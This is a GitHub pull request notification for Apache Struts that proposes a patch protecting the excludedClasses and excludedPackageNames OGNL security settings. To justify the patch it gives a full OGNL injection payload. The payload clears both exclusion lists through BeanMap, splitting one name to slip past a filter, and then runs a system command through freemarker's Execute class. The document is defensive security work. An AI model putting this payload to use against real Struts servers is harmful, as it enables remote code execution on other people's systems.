[GitHub] [struts] k4n5ha0 opened a new pull request, #567: protect excludedClasses and excludedPackageNames

[GitBox]

k4n5ha0 opened a new pull request, #567:
URL: https://github.com/apache/struts/pull/567

   block unknow exp to clean excludedPackageNames and excludedClasses
   if attacker use 'excluded'+'PackageNames' likes blow, this patch can protect 
structs
   ```
   %{
   (#request.a=#@org.apache.commons.collections.BeanMap@{}) +
   (#request.a.setBean(#request.get('struts.valueStack')) == true) +
   (#request.b=#@org.apache.commons.collections.BeanMap@{}) +
   (#request.b.setBean(#request.get('a').get('context'))) +
   (#request.c=#@org.apache.commons.collections.BeanMap@{}) +
   (#request.c.setBean(#request.get('b').get('memberAccess'))) +
   
(#request.get('c').put('excluded'+'PackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()))
 +
   
(#request.get('c').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()))
 +
   
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc'}))
   }
   ```
   
![cc8c477544de5261433ed941d0f70265_172753743-a2d50b96-165f-454b-9179-4442732dd510](https://user-images.githubusercontent.com/22064977/173212023-2d8afbc1-e431-4419-a5e4-165f562fe1be.png)
   


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